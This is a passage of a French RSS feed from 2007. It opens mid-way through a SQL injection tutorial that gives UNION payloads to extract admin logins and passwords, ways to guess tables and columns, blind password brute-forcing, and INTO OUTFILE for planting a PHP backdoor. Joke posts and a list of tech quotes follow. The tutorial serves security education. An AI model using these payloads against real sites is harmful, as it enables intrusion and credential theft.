le deuxi&egrave;me exemple,  nous pouvons aussi faire planter le script en mettant un guillement, ce qui nous r&eacute;v&egrave;le le nom de la table &quot;membres&quot;, et des deux champs &quot;login&quot; et &quot;pass&quot;, assez explicites. A pr&eacute;sent, essayons de r&eacute;cup&eacute;rer le login et le pass de l&#39;admin. Nous voulons <em>afficher</em> ces informations. Il nous faut donc trouver un script sur le site vuln&eacute;rable qui en affiche. Par exemple, le moteur de recherche affiche les articles. A l&#39;attaque ! Voici ce que nous pouvons rentrer dans le champ :</p>              <div class="code"> &#39; union all select id_article, pass as titre, login as contenu from users,articles # </div>               <p>Notez que UNION n&#39;est disponible que depuis MySQL 4. La requ&ecirc;te devient :</p>              <div class="code"> $sql = &quot;SELECT id_article, titre, contenu FROM articles WHERE titre LIKE &#39;%&#39; UNION SELECT id_article, pass AS titre, login AS contenu FROM users,articles<br />       #%&#39; OR contenu LIKE &#39;%&#39; UNION select id_article, pass AS titre, login AS contenu<br />       FROM users,articles #%&#39;&quot;; </div>               <p>Le # repr&eacute;sente pour MySQL un commentaire ! Remarquez que l&#39;on peut aussi utiliser &#39;/*&#39;. Par cons&eacute;quent, tout ce qui est apr&egrave;s sera ignor&eacute;. La requ&ecirc;te s&eacute;lectionne donc tous les articles et ajoute (r&ocirc;le du mot cl&eacute; UNION) tous ces r&eacute;sultats &agrave; la liste des administrateurs et leur mot de passe. Notez l&#39;astuce consistant &agrave; renomer &agrave; l&#39;aide de AS les champs afin de r&eacute;ussir l&#39;UNION. De plus, si vous croisez une table A de n champs avec une table B, B devra forc&eacute;ment avoir elle aussi n champs, <em>qui devront avoir le m&ecirc;me type</em>. C&#39;est pour cela que l&#39;on s&eacute;lectionne trois champs dans chaque partie de la requ&ecirc;te.  Cela peut donc produire cet affichage :</p>              <div class="shell"> Joyeux No&euml;l<br />       Je vous souhaite un joyeux No&euml;l est une tr&egrave;s bonne ann&eacute;e !<br />       <br />       Version 3.8.2 b&eacute;ta 5<br />       Le site vient d&#39;&ecirc;tre mis &agrave; jour ! Des nouveaut&eacute;s font leur apparitions !<br />       <br />       123456<br />       admin<br />       <br />       pass2<br />       admin2 </div>               <p>On a donc les mots de passe des deux admins, et le comble c&#39;est qu&#39;ils sont cod&eacute;s en clair !</p>            <h3 id="p4ii">4.ii. Autres exemples</h3>              <p>Imaginons maintenant que nous disposons du nom d&#39;une table et d&#39;un champ dans cette table. Nous voulons obtenir le nom d&#39;un champ et d&#39;une autre table o&ugrave; l&#39;on pourrait trouver des informations utiles.</p>              <p>La m&eacute;thode &agrave; utiliser est de la divination pure et dure ;-). On peut essayer ainsi les tables &quot;articles&quot;, &quot;membres&quot;, &quot;admin&quot;, &quot;users&quot;, etc. et les champs corespondants &quot;login&quot;, &quot;password&quot;, &quot;pass&quot;, etc. Mais comment tester justement ces champs et ces noms de tables ? Nous allons utiliser par exemple cette requ&ecirc;te :</p>              <p><strong>Deviner le nom d&#39;une table</strong></p>              <div class="code"> SELECT id_article,titre,contenu FROM articles WHERE titre<br />       LIKE &#39;%&#39; UNION SELECT id_article, titre, contenu FROM articles,membres<br />       #%&#39; OR contenu LIKE &#39;%...%&#39; </div>               <p>En blanc, la requ&ecirc;te initiale, en vert, ce que l&#39;on rentre et en bleu le commentaire. On remarque que l&#39;on n&#39;a fait que dupliquer la requ&ecirc;te en ajoutant juste &quot;<code>,membres</code>&quot; dans le nom des tables &agrave; interroger. La requ&ecirc;te va donc planter si jamais &quot;membres&quot; n&#39;est pas le nom d&#39;une table existante, et afficher des articles dans le cas contraire. Il faut donc remplacer &quot;membres&quot; par le nom de la table &agrave; tester.</p>             <p>Encore une fois, je le rappelle, tous ces exemples ne sont pas ceux que l&#39;on utiliserait dans la r&eacute;alit&eacute; puisqu&#39;ils necessitent de conna&icirc;tre pas mal de renseignements sur la base. Repportez-vous aux <a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3752">Blind SQL Injections</a>.</p>              <p><strong>Deviner le nom d&#39;un champ dans une table connue</strong></p>             <p>Nous connaissons le nom de la table (membres), nous voulons savoir le nom des champ. Nous testons : </p>             <div class="code"> SELECT id_article,titre,contenu FROM articles WHERE titre LIKE<br />       &#39;%&#39; UNION SELECT id_article, titre, champatester FROM articles,membres #&#39; </div>               <p>&quot;champatester&quot; est le champ dont nous voulons v&eacute;rifier la pr&eacute;sence. Si la requ&ecirc;te r&eacute;ussit, il existe, sinon, il n&#39;existe pas.</p>               <p><strong>Deviner un mot de passe</strong></p>              <p>Dans certains cas il arrive que le contenu d&#39;un champ soit accesible mais non affich&eacute;. C&#39;est le cas par exemple de notre formulaire de zone admin : on ne peut pas directement afficher le mot de passe. Il faut donc proc&eacute;der par essais successifs :</p>             <div class="code"> SELECT * FROM `membres` WHERE login = &#39;admin&#39; AND pass LIKE &#39;%a&#39; </div>               <p>A croiser bien s&ucirc;r avec une injection SQL. Si la session d&#39;admin s&#39;ouvre, c&#39;est que son mot de passe commence par un &#39;a&#39;. Sinon, on essaye avec &#39;b&#39;, puis ainsi de suite. On remonte les caract&egrave;res jusqu&#39;&agrave; trouver le mot de passe complet.</p>              <p>Si l&#39;on veut conna&icirc;tre le nombre de caract&egrave;res du mot de passe, on peut utiliser l&#39;op&eacute;rateur LENGTH() comme ceci :</p>             <div class="code"> SELECT * FROM membres WHERE login=&#39;admin&#39; AND LENGTH(pass)=4# ...&#39; </div>               <p>Les m&eacute;thodes que nous venons de voir se font par bruteforcing, puisqu&#39;elles ne nous permettent pas d&#39;obtenir les informations de mani&egrave;re directe, mais simplement de savoir si l&#39;on a bon ou faux. L&#39;op&eacute;rateur AS est tr&egrave;s pratiques dans ces situations puisqu&#39;il permet de renomer un champ temporairement pour la requ&ecirc;te, donc de croiser deux champs diff&eacute;rents.</p>               <p><strong>SHOW et GRANT : obtenir tout ce que l&#39;on veut (?)</strong></p>              <p>Les deux op&eacute;rateurs ultimes dont nous aurions besoin sont GRANT et SHOW. Ils permettent de lister la structure compl&egrave;te de la base, des tables, lister les utilisateurs, leurs privil&egrave;ges et leur mot de passe. Le seul probl&egrave;me majeur est qu&#39;il est impossible de les utiliser en les croisant avec SELECT. Impossible donc d&#39;y avoir acc&egrave;s dans les exemples que nous venons de voir.</p>             <p>Les petits malins auront envie d&#39;utiliser le point virgule afin d&#39;effectuer deux requ&ecirc;tes l&#39;une apr&egrave;s l&#39;autre, mais un autre probl&egrave;me nous en emp&ecirc;che : mysql_query(). Cette fonction interagit entre PHP et MySQL mais ne peut permettre que d&#39;effectuer UNE SEULE requ&ecirc;te &agrave; la fois. Le point virgule est donc &agrave; bannir. Et GRANT/SHOW par la m&ecirc;me occasion... sauf si c&#39;est une autre fonction qui est utils&eacute;e, et qui permet ce genre de choses !</p>              <p>Ainsi, vous sere peut-&ecirc;tre d&eacute;&ccedil;u mais il est impossible d&#39;utiliser un op&eacute;rateur tel que UPDATE, DROP, ou INSERT si la requ&ecirc;te commence par SELECT. A moins, comme nous l&#39;avons dit, que la fonction utilis&eacute;e le permette.</p>               <p><strong>Obtenir la version du serveur</strong></p>              <p>Nous pouvons utiliser les variables sp&eacute;cifiques &agrave; chaque serveur SQL. Pour MYSQL, la variable <code><strong>@@version</strong></code> contient le nom de la version du serveur. Ainsi, <code>SELECT @@version</code> affiche cette version. Il faut bien entendu exploiter une injection afin de pouvoir utiliser cette commande. Pour les autres serveurs, c&#39;est une autre variable. Il suffit de chercher un peu dans les documentations pour les trouver.</p>               <p><strong>Cr&eacute;er un fichier</strong></p>              <p>La directive <code><strong>INTO OUTFILE [nom_fichier]</strong></code> crois&eacute;e avec SELECT permet de cr&eacute;er un fichier contenant les informations de SELECT demand&eacute;es. On peut donc imaginer un sc&eacute;nario o&ugrave; vous exploitez tout d&#39;abord une injection SQL se situant dans une requ&ecirc;te INSERT ce qui vous permet d&#39;&eacute;crire du code dans la base, puis vous exploitez une deuxi&egrave;me injection dans SELECT afin de cr&eacute;er un fichier contenant le code que vous avez &eacute;crit dans la base. Si c&#39;&eacute;tait du code PHP, une backdoor par exemple, ou un simple script d&#39;une ligne contenant une faille Include, vous obtiendrez un acc&egrave;s suppl&eacute;mentaire sur le serveur.</p>              <p>Cependant, il faut d&eacute;ja obtenir l&#39;url vers laquelle &eacute;crire le fichier, car si vous &eacute;crivez &agrave; la racine du serveur, cela peut d&#39;une part sembler louche, d&#39;autre part ne pas &ecirc;tre accessible sur le serveur... En effet, si votre fichier &eacute;crit se trouve avant le r&eacute;pertoire &quot;www&quot; d&#39;Apache, c&#39;est fichu...</p>              <p><strong>Utiliser un fichier pour effectuer des op&eacute;rations</strong></p>              <p>Il est possible d&#39;utiliser <code><strong>LOAD DATA INFILE [nom_fichier]</strong></code> pour lire un fichier et effectuer les op&eacute;rations SQL d&eacute;cries &agrave; l&#39;int&eacute;rieur. C&#39;est le compl&eacute;ment de INTO OUTFILE. Le seul probl&egrave;me, c&#39;est que LOAD n&#39;est pas compatible avec SELECT, donc inutilisable dans la grande majorit&eacute; des cas.</p>        <h2>Conclusion</h2>              <p>Vous l&#39;aurez compris, les injections SQL d&eacute;passent compl&eacute;tement le cas d&#39;&eacute;cole avec <code>&#39; or &#39;&#39;=&#39;</code>. Il y en a des tonnes, plus ou moins adapt&eacute;es &agrave; ce que l&#39;on veut faire. Les seuls limites sont celles du langage SQL, qui nous emp&ecirc;che parfois de croiser des requ&ecirc;tes pourtant bien pratiques... Dans un <a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3752">second article</a> sur les injections SQL dites &quot;blind&quot;, ou &quot;&agrave; l&#39;aveuglette&quot;, nous exploiterons &agrave; fond le langage SQL afin de faire r&eacute;v&eacute;ler aux scripts vuln&eacute;rables des informations cruciales.</p>              <p>Le but de cet article n&#39;&eacute;tait bien entendu pas d&#39;inciter les gens &agrave; exploiter des failles sur des sites existants, mais surtout de comprendre le fonctionnement de ce type de failles, afin de mieux savoir s&#39;en prot&eacute;ger, par exemple.</p>        <h2>R&eacute;f&eacute;rences</h2>             <p>Cet article a &eacute;t&eacute; &eacute;crit en grande partie &agrave; l&#39;aide de mes connaissances, mais voici quelques liens qui vous permettront d&#39;approfondir le sujet :</p>             <ul>      <li class="aere"><a href="http://www.thehackademy.net/article.php?story_id=95&amp;section_id=57">The Hackademy - Injections SQL</a></li>           <li class="aere"><a href="http://www.php.net/">Manuel de r&eacute;f&eacute;rence PHP - Tr&egrave;s utile pour la s&eacute;curisation des scripts</a></li>      </ul> <br /> <em>Cet article a &eacute;t&eacute; r&eacute;dig&eacute; par Trancefusion et provient de <a href="http://www.ghostsinthestack.org/article-8-les-bases-des-injections-sql.html">http://www.ghostsinthestack.org/article-8-les-bases-des-injections-sql.html</a> . Il est diffus&eacute; sous licence <a href="http://creativecommons.org/licenses/by-nc-sa/2.0/fr/">Creative Commons By-Nc-Sa 2.0</a> .</em><br />      ]]></content:encoded>
		<pubDate>Sat, 31 Mar 2007 00:28:05 +0200</pubDate>
		<guid isPermaLink="true">http://www.loadation.net/article-1511-3750-les-bases-des-injections-sql.html</guid>
	</item>
	<item>
		<title><![CDATA[Ingénieurs vs commerciaux]]></title>
		<link>http://www.loadation.net/article-1351-3266-ingenieurs-vs-commerciaux.html</link>
		<dc:creator>Skreo</dc:creator>
		<description><![CDATA[Cinq ing&eacute;nieurs et cinq commerciaux se d&eacute;placent pour aller &agrave; un salon. Chacun des 5 commerciaux va acheter un billet de train. Les ing&eacute;nieurs n&#39;ach&egrave;tent qu&#39;UN seul billet. 
 
 Les 5 ing&eacute;nieurs vont s&#39;enfermer dans les toilettes juste avant...]]></description>
		<content:encoded><![CDATA[Cinq ing&eacute;nieurs et cinq commerciaux se d&eacute;placent pour aller &agrave; un salon. Chacun des 5 commerciaux va acheter un billet de train. Les ing&eacute;nieurs n&#39;ach&egrave;tent qu&#39;UN seul billet.  <br /> <br /> Les 5 ing&eacute;nieurs vont s&#39;enfermer dans les toilettes juste avant que le contr&ocirc;leur n&#39;arrive. En passant, le contr&ocirc;leur voit que les toilettes sont occupes. Il frappe a la porte et demande &quot; Votre billet, s&#39;il vous plait!&quot;.<br /> <br /> Les ing&eacute;nieurs glissent LE billet sous la porte.   Le contr&ocirc;leur est satisfait et s&#39;en va.<br /> <br /> Les commerciaux sont bien sur extr&ecirc;mement vex&eacute;s que les ing&eacute;nieurs leur ont encore une fois fait la le&ccedil;on.<br /> <br /> Pour le retour, les 5 commerciaux ach&egrave;tent UN seul billet. Quant aux ing&eacute;nieurs, ils n&#39;ach&egrave;tent AUCUN billet.  <br /> <br /> Les 5 commerciaux vont s&#39;enfermer dans les toilettes juste avant que le contr&ocirc;leur n&#39;arrive.<br /> <br /> Les ing&eacute;nieurs passent discr&egrave;tement par l&agrave;, frappent &agrave; la porte et demandent &quot;Votre billet, s&#39;il vous plait! &quot; .....<br /><br /> <ins>La morale de l&#39;histoire :</ins><br />  <strong>Les commerciaux essaient toujours d&#39;appliquer les techniques des ing&eacute;nieurs sans jamais vraiment les comprendre !</strong>]]></content:encoded>
		<pubDate>Sat, 24 Mar 2007 00:08:10 +0100</pubDate>
		<guid isPermaLink="true">http://www.loadation.net/article-1351-3266-ingenieurs-vs-commerciaux.html</guid>
	</item>
	<item>
		<title><![CDATA["Hello World" selon le niveau et la fonction]]></title>
		<link>http://www.loadation.net/article-1351-3265-hello-world-selon-le-niveau-et-la-fonction.html</link>
		<dc:creator>Skreo</dc:creator>
		<description><![CDATA[Terminale S&nbsp; (au Qu&eacute;bec : 2e ann&eacute;e de coll&egrave;ge) 10 PRINT &quot;HELLO WORLD&quot;&nbsp;
 20 END&nbsp; 
 Premi&egrave;re ann&eacute;e de fac de Sciences&nbsp; program Hello (input, output);&nbsp;
 
 Begin&nbsp;
 writeln ( &#39;Hello World&#39; );&nbsp;
 End.&nbsp;...]]></description>
		<content:encoded><![CDATA[  <p><strong>                                       Terminale S&nbsp;</strong>(au Qu&eacute;bec : 2e ann&eacute;e de coll&egrave;ge)</p>     <table border="0" width="100%">   <tbody>  <tr>       <td bgcolor="#dddddd" width="100%">10 PRINT &quot;HELLO WORLD&quot;&nbsp;<br />         20 END&nbsp;</td>     </tr>   </tbody></table>     <p><strong><br /> Premi&egrave;re ann&eacute;e de fac de Sciences&nbsp;</strong></p>     <table border="0" width="100%">   <tbody>  <tr>       <td bgcolor="#dddddd" width="100%">program Hello (input, output);&nbsp;<br />         <br />         Begin&nbsp;<br />         writeln ( &#39;Hello World&#39; );&nbsp;<br />         End.&nbsp;</td>     </tr>   </tbody></table>     <p><strong><br />Licence d&#39;informatique&nbsp;</strong></p>     <table border="0" width="100%">   <tbody>  <tr>       <td bgcolor="#dddddd" width="100%">(defun hello (print (cons &#39;Hello       (list &#39;World))))&nbsp;</td>     </tr>   </tbody></table>     <p><strong><br />Premier emploi&nbsp;</strong></p>     <table border="0" width="100%">   <tbody>  <tr>       <td bgcolor="#dddddd" width="100%">#include &lt; stdio.h &gt;&nbsp;<br />         <br />         void main (void)&nbsp;<br />         <br />         {&nbsp;<br />         char *message[ ] = {&quot;Hello &quot;, &quot;World&quot;};&nbsp;<br />         int i;&nbsp;<br />         <br />         for (i = 0 ; i &lt; 2 ; i++) printf( &quot;%s&quot;, message[i]);&nbsp;<br />         printf(&quot;\n&quot;);&nbsp;<br />         }&nbsp;</td>     </tr>   </tbody></table>     <p><strong><br />Informaticien confirm&eacute;&nbsp;</strong><br />   </p>     <table border="0" width="100%">   <tbody>  <tr>       <td bgcolor="#dddddd" width="100%">#include       &lt; iostream.h &gt;&nbsp;<br />         #include &lt; string.h &gt;&nbsp;<br />         <br />         class string{&nbsp;<br />         <br />         private :&nbsp;<br />         <br />         int size;&nbsp;<br />         char *ptr;&nbsp;<br />         <br />         public :&nbsp;<br />         <br />         string() : size (0) , ptr (new char (&#39;\0&#39;))&nbsp;<br />         <br />         }&nbsp;<br />         string(const string &amp;s) : size (s.size) {&nbsp;<br />         <br />         ptr = new char [size + 1];&nbsp;<br />         strcpy (ptr, s.ptr);&nbsp;<br />         <br />         }&nbsp;<br />         <br />         ~string() { delete [ ] ptr ;}&nbsp;<br />         friend ostream &amp;operator &lt;&lt; (ostream &amp;, const string       &amp;);&nbsp;<br />         string &amp;operator = (const char * );&nbsp;<br />         };&nbsp;<br />         ostream &amp;operator &lt;&lt; (ostream &amp;stream, const string       &amp;s)&nbsp;<br />         { return (stream &lt;&lt; s.ptr) ; }&nbsp;<br />         <br />         string &amp;string::operator = (const char *chrs)&nbsp;<br />         { if (this != &amp;chrs)&nbsp;<br />         <br />         { delete [ ] ptr;&nbsp;<br />         size = strlen (chrs);&nbsp;<br />         ptr = new char [size + 1];&nbsp;<br />         strcpy (ptr, chrs);&nbsp;<br />         }&nbsp;<br />         <br />         return (*this)&nbsp;<br />         }&nbsp;<br />         <br />         int main () {&nbsp;<br />         string str;&nbsp;<br />         str = &quot;Hello World&quot;;&nbsp;<br />         cout &lt;&lt; str &lt;&lt; endl;&nbsp;<br />         return (0);&nbsp;<br />         }&nbsp;<br />         </td>     </tr>   </tbody></table>     <p><strong><br />Administrateur syst&egrave;me&nbsp;</strong></p>     <table border="0" width="100%">   <tbody>  <tr>       <td bgcolor="#dddddd" width="100%">#include&nbsp;<br />         main() {&nbsp;<br />         char *temp; int i=0; /* on y va bourin */&nbsp;<br />         mp = (char *) malloc (1024*sizeof (char));&nbsp;<br />         while (tmp[i] = &quot;Hello World&quot; [i++]); /* Ooopps y&#39;a une infusion ! */&nbsp;<br />         <br />         i = (int) tmp[8];&nbsp;<br />         tmp[8] = tmp[9];&nbsp;<br />         tmp[9] = (char) i;&nbsp;<br />         printf (&quot;%s\n&quot;, tmp); }&nbsp;<br />         </td>     </tr>   </tbody></table>     <p><strong><br />Apprenti Hacker&nbsp;</strong></p>     <table border="0" width="100%">   <tbody>  <tr>       <td bgcolor="#dddddd" width="100%">#! /usr/local/bin/perl&nbsp;<br />         $msg = &quot;Hello, world.\n&quot;;&nbsp;<br />         if ($#ARGV &gt;= 0 ) {&nbsp;<br />         while (defined ($arg = shift (&amp;ARGV))) {&nbsp;<br />         $outfilename = $arg;&nbsp;<br />         open (FILE, &quot;&gt;&quot; . $outfilename) || die &quot;Can&#39;t write $arg: $!\n&quot;;&nbsp;<br />         print (FILE $msg);&nbsp;<br />         close (FILE) || die &quot;Can&#39;t close $arg: $!\n&quot;;&nbsp;<br />         }}&nbsp;<br />         else {&nbsp;<br />         print ($msg); }1;&nbsp;</td>     </tr>   </tbody></table>     <p><strong><br />Hacker exp&eacute;riment&eacute;&nbsp;</strong></p>     <table border="0" width="100%">   <tbody>  <tr>       <td bgcolor="#dddddd" width="100%">#include&nbsp;<br />         #define S &quot;Hello, World\n&quot;&nbsp;<br />         main() {exit (printf(S) == strlen (S) ? 0 :1) ; }&nbsp;</td>     </tr>   </tbody></table>     <p><br />   <strong>                                       Hacker confirm&eacute;&nbsp;</strong></p>     <table border="0" width="100%">   <tbody>  <tr>       <td bgcolor="#dddddd" width="100%">% cc -o a.out       ~/src/misc/hw/hw.c&nbsp;<br />         % a.out&nbsp;</td>     </tr>   </tbody></table>     <p><br />   <strong>                                        Hacker gourou&nbsp;</strong></p>     <table border="0" width="100%">   <tbody>  <tr>       <td bgcolor="#dddddd" width="100%">% cat Hello, world. ^D&nbsp;</td>     </tr>   </tbody></table>     <p>&nbsp;</p>     <p><strong>                                      Manager d&eacute;butant&nbsp;</strong></p>     <table border="0" width="100%">   <tbody>  <tr>       <td bgcolor="#dddddd" width="100%">10 PRINT &quot;HELLO WORLD&quot;&nbsp;<br />         20 END&nbsp;</td>     </tr>   </tbody></table>     <p>&nbsp;</p>     <p><strong>                                    Manager exp&eacute;riment&eacute;&nbsp;</strong></p>     <table border="0" width="100%">   <tbody>  <tr>       <td bgcolor="#dddddd" width="100%">mail -s &quot;Hello, world.&quot;  bob@b12&nbsp;<br />         Bob, STP, peux-tu m&#39;&eacute;crire un programme qui &eacute;crive &quot;Hello, world.&quot; ?&nbsp;<br />         J&#39;en ai besoin demain.&nbsp;<br />         ^D&nbsp;</td>     </tr>   </tbody></table>     <p><br />   <strong>                                      Manager confirm&eacute;&nbsp;</strong></p>     <table border="0" width="100%">   <tbody>  <tr>       <td bgcolor="#dddddd" width="100%">% zmail jim&nbsp;<br />         J&#39;ai besoin d&#39;un programme &quot;Hello, world&quot; pour cet apr&egrave;s-midi.&nbsp;</td>     </tr>   </tbody></table>     <p><br />   <strong>                                 Pr&eacute;sident Directeur G&eacute;n&eacute;ral&nbsp;</strong></p>     <table border="0" width="100%">   <tbody>  <tr>       <td bgcolor="#dddddd" width="100%">% letter&nbsp;<br />         letter : Command not found.&nbsp;<br />         % mail&nbsp;<br />         To : ^X&nbsp;<br />         ^F ^C&nbsp;<br />         % help mail&nbsp;<br />         help : Command not found.&nbsp;<br />         % damn!&nbsp;<br />         ! : Event unrecognized&nbsp;<br />         % logout </td>     </tr>   </tbody></table>]]></content:encoded>
		<pubDate>Sat, 24 Mar 2007 00:01:35 +0100</pubDate>
		<guid isPermaLink="true">http://www.loadation.net/article-1351-3265-hello-world-selon-le-niveau-et-la-fonction.html</guid>
	</item>
	<item>
		<title><![CDATA[Quelques affirmations de "visionnaires"]]></title>
		<link>http://www.loadation.net/article-1351-3264-quelques-affirmations-de-visionnaires.html</link>
		<dc:creator>Skreo</dc:creator>
		<description><![CDATA[Voici ce que certains &quot;visionnaires&quot; de l&#39;informatique auraient affirm&eacute; :&nbsp;
 
 &quot;Ce t&eacute;l&eacute;phone a beaucoup trop de d&eacute;fauts pour qu&#39;il puisse un jour &ecirc;tre consid&eacute;r&eacute; comme un outil de communication. Cet &eacute;quipement...]]></description>
		<content:encoded><![CDATA[<strong>Voici ce que certains &quot;visionnaires&quot; de l&#39;informatique auraient affirm&eacute; :&nbsp;<br />  </strong><br />  &quot;Ce t&eacute;l&eacute;phone a beaucoup trop de d&eacute;fauts pour qu&#39;il puisse un jour &ecirc;tre consid&eacute;r&eacute; comme un outil de communication. Cet &eacute;quipement n&#39;a donc aucune valeur &agrave; nos yeux.&quot;&nbsp;<br />  <em><span style="color: #000000">Note interne de la Western Union, 1876.<br />  </span></em><br />  &quot;Tout ce qui peut &ecirc;tre invent&eacute; a &eacute;t&eacute; invent&eacute;.&quot;&nbsp;<br />  <em><span style="color: #000000">Charles H. Duell, D&eacute;l&eacute;gu&eacute; aux brev&ecirc;ts Am&eacute;ricains, 1899.&nbsp;<br />  </span></em><br />  &quot;Je pense qu&#39;il y a un march&eacute; mondial pour environ 5 ordinateurs.&quot;&nbsp;<br />  <em><span style="color: #000000">Thomas WATSON, pr&eacute;sident d&#39;IBM, 1943.&nbsp;<br />  </span></em><br />  &quot;Les ordinateur du futur ne p&egrave;seront pas moins d&#39;une tonne et demi.&quot;&nbsp;<br />  <em><span style="color: #000000">Popular Mechanics, 1949.&nbsp;<br />  </span></em><br />  &quot;J&#39;ai parcouru le pays de long en large et parl&eacute; avec les meilleurs personnes, et je peux vous assurer que l&#39;informatique est une lubie que ne durera pas plus d&#39;un an.&quot;&nbsp;<br />  <em><span style="color: #000000">Editeur chez Prentice Hall, 1957.&nbsp;<br />  </span></em><br />  &quot;A quoi &ccedil;a peut-il bien servir ?&quot;&nbsp;<br />  <em><span style="color: #000000">Ing&eacute;nieur chez IBM &agrave; qui l&#39;on pr&eacute;sentait une puce &eacute;lectronique, 1968.&nbsp;<br />  </span></em><br />  &quot;Il n&#39;y a aucune raison que des gens veuillent un ordinateur &agrave; la maison.&quot;<br />  <em><span style="color: #000000">Ken OLSON, PDG et fondateur de DEC, 1977.&nbsp;<br />  </span></em><br />  &quot;640Ko est suffisant pour tout le monde.&quot;&nbsp;<br />  <em><span style="color: #000000">B. GATES, 1981.<br />  </span></em><br />  &quot;Si vous ne pouvez le faire bien, rendez le beau.&quot;&nbsp;<br />  <em><span style="color: #000000">B. GATES.&nbsp;<br />  </span></em><br />  &quot;Je crois qu&#39;OS/2 est destin&eacute; &agrave; &ecirc;tre le syst&egrave;me d&#39;exploitation le plus important de tous les temps.&quot;&nbsp;<br />  <em><span style="color: #000000">B. GATES, 1988.&nbsp;<br />  </span></em><br />  &quot;L&#39;&eacute;poque des PC est termin&eacute;e.&quot;&nbsp;<br />  <em><span style="color: #000000">Lou Gerstner, Directeur d&#39;IBM, 1998.<br />  </span></em><br />  &quot;J&#39;ai toujours r&ecirc;v&eacute; d&#39;un ordinateur qui soit aussi facile &agrave; utiliser qu&#39;un t&eacute;l&eacute;phone. Mon r&ecirc;ve s&#39;est r&eacute;alis&eacute;. Je ne sais plus comment utiliser mon t&eacute;l&eacute;phone.&quot;<br />  <em><span style="color: #000000">Bjarne Stroustrup, auteur du langage C++</span></em>]]></content:encoded>
		<pubDate>Fri, 23 Mar 2007 23:54:24 +0100</pubDate>
		<guid isPermaLink="true">http://www.loadation.net/article-1351-3264-quelques-affirmations-de-visionnaires.html</guid>
	</item>
</channel>
</rss><!--mdp=-->